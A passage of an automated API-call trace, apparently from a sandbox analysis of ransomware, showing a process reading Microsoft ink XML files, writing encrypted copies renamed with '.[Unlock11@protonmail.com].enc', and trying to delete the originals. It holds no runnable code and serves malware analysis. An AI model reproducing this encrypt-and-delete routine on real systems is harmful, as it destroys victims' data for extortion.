HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38281d0 | out: hHeap=0x2ad0000) returned 1 [0122.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9338 [0122.657] GetLastError () returned 0x0 [0122.657] GetLastError () returned 0x0 [0122.657] GetCurrentThreadId () returned 0x9b0 [0122.657] GetLastError () returned 0x0 [0122.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9338 | out: hHeap=0x2ad0000) returned 1 [0122.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.658] GetLastError () returned 0x0 [0122.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.659] CloseHandle (hObject=0x3ac) returned 1 [0122.659] GetLastError () returned 0x0 [0122.659] GetCurrentThreadId () returned 0x9b0 [0122.659] GetLastError () returned 0x0 [0122.659] GetLastError () returned 0x0 [0122.659] CloseHandle (hObject=0x39c) returned 1 [0122.659] GetLastError () returned 0x0 [0122.659] GetCurrentThreadId () returned 0x9b0 [0122.660] GetLastError () returned 0x0 [0122.660] GetLastError () returned 0x0 [0122.660] GetLastError () returned 0x0 [0122.660] GetLastError () returned 0x0 [0122.660] GetLastError () returned 0x0 [0122.660] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0 [0122.660] GetLastError () returned 0x5 [0122.660] GetCurrentThreadId () returned 0x9b0 [0122.660] GetLastError () returned 0x5 [0122.661] GetLastError () returned 0x5 [0122.661] GetLastError () returned 0x5 [0122.661] GetLastError () returned 0x5 [0122.661] LocalFree (hMem=0x1053c70) returned 0x0 [0122.661] GetLastError () returned 0x5 [0122.661] GetLastError () returned 0x5 [0122.661] GetLastError () returned 0x5 [0122.661] GetLastError () returned 0x5 [0122.661] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpFilePart=0x9bada4*="base_heb.xml") returned 0x52 [0122.661] GetCurrentThreadId () returned 0x9b0 [0122.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0122.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0122.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0122.662] GetCurrentThreadId () returned 0x9b0 [0122.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0122.662] GetLastError () returned 0x0 [0122.662] GetLastError () returned 0x0 [0122.662] GetLastError () returned 0x0 [0122.662] GetLastError () returned 0x0 [0122.662] GetCurrentThreadId () returned 0x9b0 [0122.662] GetLastError () returned 0x0 [0122.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0122.663] GetLastError () returned 0x0 [0122.663] GetLastError () returned 0x0 [0122.663] GetLastError () returned 0x0 [0122.663] GetLastError () returned 0x0 [0122.663] GetCurrentThreadId () returned 0x9b0 [0122.663] GetLastError () returned 0x0 [0122.664] GetCurrentThreadId () returned 0x9b0 [0122.664] GetLastError () returned 0x0 [0122.664] GetLastError () returned 0x0 [0122.664] GetLastError () returned 0x0 [0122.664] GetLastError () returned 0x0 [0122.664] GetCurrentThreadId () returned 0x9b0 [0122.664] GetLastError () returned 0x0 [0122.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0122.664] GetLastError () returned 0x0 [0122.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0122.665] GetLastError () returned 0x0 [0122.665] GetLastError () returned 0x0 [0122.665] GetLastError () returned 0x0 [0122.665] GetCurrentThreadId () returned 0x9b0 [0122.665] GetLastError () returned 0x0 [0122.665] GetLastError () returned 0x0 [0122.665] GetLastError () returned 0x0 [0122.665] GetLastError () returned 0x0 [0122.665] GetLastError () returned 0x0 [0122.665] GetCurrentThreadId () returned 0x9b0 [0122.665] GetLastError () returned 0x0 [0122.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0122.666] GetLastError () returned 0x0 [0122.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0122.666] GetLastError () returned 0x0 [0122.666] GetLastError () returned 0x0 [0122.666] GetLastError () returned 0x0 [0122.666] GetCurrentThreadId () returned 0x9b0 [0122.666] GetLastError () returned 0x0 [0122.666] GetLastError () returned 0x0 [0122.666] GetLastError () returned 0x0 [0122.666] GetLastError () returned 0x0 [0122.667] GetLastError () returned 0x0 [0122.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.667] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e2)) returned 1 [0122.667] GetLastError () returned 0x0 [0122.667] GetCurrentThreadId () returned 0x9b0 [0122.667] GetLastError () returned 0x0 [0122.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0122.667] GetCurrentThreadId () returned 0x9b0 [0122.667] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668944 | out: pbBuffer=0x3668944) returned 1 [0122.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0122.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0122.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0122.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028378 [0122.668] GetCurrentThreadId () returned 0x9b0 [0122.668] GetLastError () returned 0x0 [0122.668] GetLastError () returned 0x0 [0122.668] GetLastError () returned 0x0 [0122.668] GetLastError () returned 0x0 [0122.668] GetCurrentThreadId () returned 0x9b0 [0122.668] GetLastError () returned 0x0 [0122.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028378 | out: hHeap=0x2ad0000) returned 1 [0122.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0122.669] GetLastError () returned 0x0 [0122.669] GetLastError () returned 0x0 [0122.669] GetLastError () returned 0x0 [0122.669] GetLastError () returned 0x0 [0122.669] GetCurrentThreadId () returned 0x9b0 [0122.669] GetLastError () returned 0x0 [0122.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0122.669] GetCurrentThreadId () returned 0x9b0 [0122.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0122.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4410 | out: hHeap=0x2ad0000) returned 1 [0122.670] GetLastError () returned 0x0 [0122.670] GetLastError () returned 0x0 [0122.670] GetLastError () returned 0x0 [0122.670] GetLastError () returned 0x0 [0122.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bf8 [0122.670] GetLastError () returned 0x0 [0122.670] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.670] GetFileType (hFile=0x39c) returned 0x1 [0122.671] GetLastError () returned 0x0 [0122.671] GetCurrentThreadId () returned 0x9b0 [0122.671] GetLastError () returned 0x0 [0122.671] GetFileType (hFile=0x39c) returned 0x1 [0122.671] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.671] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.671] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.671] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.671] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.671] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.671] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.671] GetLastError () returned 0x0 [0122.671] GetCurrentThreadId () returned 0x9b0 [0122.672] GetLastError () returned 0x0 [0122.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bf8 | out: hHeap=0x2ad0000) returned 1 [0122.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0122.672] GetLastError () returned 0x0 [0122.672] GetLastError () returned 0x0 [0122.672] GetLastError () returned 0x0 [0122.672] GetLastError () returned 0x0 [0122.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bf8 [0122.672] GetLastError () returned 0x0 [0122.672] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.673] GetFileType (hFile=0x3ac) returned 0x1 [0122.673] GetLastError () returned 0x0 [0122.673] GetCurrentThreadId () returned 0x9b0 [0122.673] GetLastError () returned 0x0 [0122.673] GetFileType (hFile=0x3ac) returned 0x1 [0122.673] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.673] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.673] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.674] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.674] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.674] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.674] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.674] GetLastError () returned 0x0 [0122.674] GetCurrentThreadId () returned 0x9b0 [0122.674] GetLastError () returned 0x0 [0122.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bf8 | out: hHeap=0x2ad0000) returned 1 [0122.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc310 | out: hHeap=0x2ad0000) returned 1 [0122.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0122.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.674] GetLastError () returned 0x0 [0122.674] GetLastError () returned 0x0 [0122.675] GetCurrentThreadId () returned 0x9b0 [0122.675] GetLastError () returned 0x0 [0122.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0122.675] GetLastError () returned 0x0 [0122.675] GetLastError () returned 0x0 [0122.675] GetCurrentThreadId () returned 0x9b0 [0122.675] GetLastError () returned 0x0 [0122.675] GetLastError () returned 0x0 [0122.677] GetLastError () returned 0x0 [0122.677] GetCurrentThreadId () returned 0x9b0 [0122.677] GetLastError () returned 0x0 [0122.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x308) returned 0x33f3a78 [0122.677] GetCurrentThreadId () returned 0x9b0 [0122.677] GetLastError () returned 0x0 [0122.677] GetLastError () returned 0x0 [0122.677] GetLastError () returned 0x0 [0122.678] GetLastError () returned 0x0 [0122.678] GetCurrentThreadId () returned 0x9b0 [0122.678] GetLastError () returned 0x0 [0122.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3a78 | out: hHeap=0x2ad0000) returned 1 [0122.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0122.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.678] GetLastError () returned 0x0 [0122.678] GetLastError () returned 0x0 [0122.678] GetCurrentThreadId () returned 0x9b0 [0122.678] GetLastError () returned 0x0 [0122.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265248 | out: hHeap=0x2ad0000) returned 1 [0122.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8858 [0122.679] GetLastError () returned 0x0 [0122.679] GetLastError () returned 0x0 [0122.679] GetCurrentThreadId () returned 0x9b0 [0122.679] GetLastError () returned 0x0 [0122.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8858 | out: hHeap=0x2ad0000) returned 1 [0122.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.679] GetLastError () returned 0x0 [0122.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0122.680] CloseHandle (hObject=0x3ac) returned 1 [0122.680] GetLastError () returned 0x0 [0122.681] GetCurrentThreadId () returned 0x9b0 [0122.681] GetLastError () returned 0x0 [0122.681] GetLastError () returned 0x0 [0122.681] CloseHandle (hObject=0x39c) returned 1 [0122.681] GetLastError () returned 0x0 [0122.681] GetCurrentThreadId () returned 0x9b0 [0122.681] GetLastError () returned 0x0 [0122.681] GetLastError () returned 0x0 [0122.681] GetLastError () returned 0x0 [0122.681] GetLastError () returned 0x0 [0122.682] GetLastError () returned 0x0 [0122.682] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0 [0122.682] GetLastError () returned 0x5 [0122.682] GetCurrentThreadId () returned 0x9b0 [0122.682] GetLastError () returned 0x5 [0122.682] GetLastError () returned 0x5 [0122.682] GetLastError () returned 0x5 [0122.682] GetLastError () returned 0x5 [0122.682] LocalFree (hMem=0x1053a70) returned 0x0 [0122.683] GetCurrentThreadId () returned 0x9b0 [0122.683] GetLastError () returned 0x5 [0122.683] GetLastError () returned 0x5 [0122.683] GetLastError () returned 0x5 [0122.683] GetLastError () returned 0x5 [0122.683] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpFilePart=0x9bada4*="base_jpn.xml") returned 0x52 [0122.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0122.683] GetCurrentThreadId () returned 0x9b0 [0122.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0122.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0122.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0122.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0122.684] GetLastError () returned 0x0 [0122.684] GetLastError () returned 0x0 [0122.684] GetLastError () returned 0x0 [0122.684] GetLastError () returned 0x0 [0122.684] GetCurrentThreadId () returned 0x9b0 [0122.684] GetLastError () returned 0x0 [0122.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0122.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0122.684] GetCurrentThreadId () returned 0x9b0 [0122.684] GetLastError () returned 0x0 [0122.685] GetLastError () returned 0x0 [0122.685] GetLastError () returned 0x0 [0122.685] GetLastError () returned 0x0 [0122.685] GetCurrentThreadId () returned 0x9b0 [0122.685] GetLastError () returned 0x0 [0122.685] GetLastError () returned 0x0 [0122.685] GetLastError () returned 0x0 [0122.685] GetLastError () returned 0x0 [0122.685] GetLastError () returned 0x0 [0122.685] GetCurrentThreadId () returned 0x9b0 [0122.685] GetLastError () returned 0x0 [0122.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0122.686] GetLastError () returned 0x0 [0122.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0122.686] GetLastError () returned 0x0 [0122.686] GetLastError () returned 0x0 [0122.686] GetLastError () returned 0x0 [0122.686] GetCurrentThreadId () returned 0x9b0 [0122.686] GetLastError () returned 0x0 [0122.686] GetCurrentThreadId () returned 0x9b0 [0122.686] GetLastError () returned 0x0 [0122.686] GetLastError () returned 0x0 [0122.687] GetLastError () returned 0x0 [0122.687] GetLastError () returned 0x0 [0122.687] GetCurrentThreadId () returned 0x9b0 [0122.687] GetLastError () returned 0x0 [0122.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0122.687] GetLastError () returned 0x0 [0122.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0122.687] GetLastError () returned 0x0 [0122.687] GetLastError () returned 0x0 [0122.687] GetLastError () returned 0x0 [0122.687] GetCurrentThreadId () returned 0x9b0 [0122.688] GetLastError () returned 0x0 [0122.688] GetLastError () returned 0x0 [0122.688] GetLastError () returned 0x0 [0122.688] GetLastError () returned 0x0 [0122.688] GetLastError () returned 0x0 [0122.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.688] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x324)) returned 1 [0122.688] GetLastError () returned 0x0 [0122.688] GetCurrentThreadId () returned 0x9b0 [0122.688] GetLastError () returned 0x0 [0122.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0122.689] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688cc | out: pbBuffer=0x36688cc) returned 1 [0122.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0122.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0122.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0122.689] GetCurrentThreadId () returned 0x9b0 [0122.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0122.689] GetLastError () returned 0x0 [0122.689] GetLastError () returned 0x0 [0122.689] GetLastError () returned 0x0 [0122.690] GetLastError () returned 0x0 [0122.690] GetCurrentThreadId () returned 0x9b0 [0122.690] GetLastError () returned 0x0 [0122.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0122.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0122.690] GetCurrentThreadId () returned 0x9b0 [0122.690] GetLastError () returned 0x0 [0122.690] GetLastError () returned 0x0 [0122.690] GetLastError () returned 0x0 [0122.690] GetLastError () returned 0x0 [0122.690] GetCurrentThreadId () returned 0x9b0 [0122.691] GetLastError () returned 0x0 [0122.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0122.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0122.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3c68 | out: hHeap=0x2ad0000) returned 1 [0122.691] GetLastError () returned 0x0 [0122.691] GetLastError () returned 0x0 [0122.691] GetLastError () returned 0x0 [0122.691] GetLastError () returned 0x0 [0122.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0122.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ab8 [0122.691] GetLastError () returned 0x0 [0122.691] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.692] GetFileType (hFile=0x39c) returned 0x1 [0122.692] GetLastError () returned 0x0 [0122.692] GetCurrentThreadId () returned 0x9b0 [0122.692] GetLastError () returned 0x0 [0122.692] GetFileType (hFile=0x39c) returned 0x1 [0122.692] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.692] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.692] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.692] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.693] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.693] GetLastError () returned 0x0 [0122.693] GetCurrentThreadId () returned 0x9b0 [0122.693] GetLastError () returned 0x0 [0122.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0122.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0122.693] GetLastError () returned 0x0 [0122.693] GetLastError () returned 0x0 [0122.693] GetLastError () returned 0x0 [0122.693] GetLastError () returned 0x0 [0122.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.694] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a38 [0122.694] GetLastError () returned 0x0 [0122.694] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.695] GetFileType (hFile=0x3ac) returned 0x1 [0122.695] GetLastError () returned 0x0 [0122.695] GetCurrentThreadId () returned 0x9b0 [0122.695] GetLastError () returned 0x0 [0122.695] GetFileType (hFile=0x3ac) returned 0x1 [0122.695] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.695] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.695] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.696] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.696] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.696] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.696] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.696] GetLastError () returned 0x0 [0122.696] 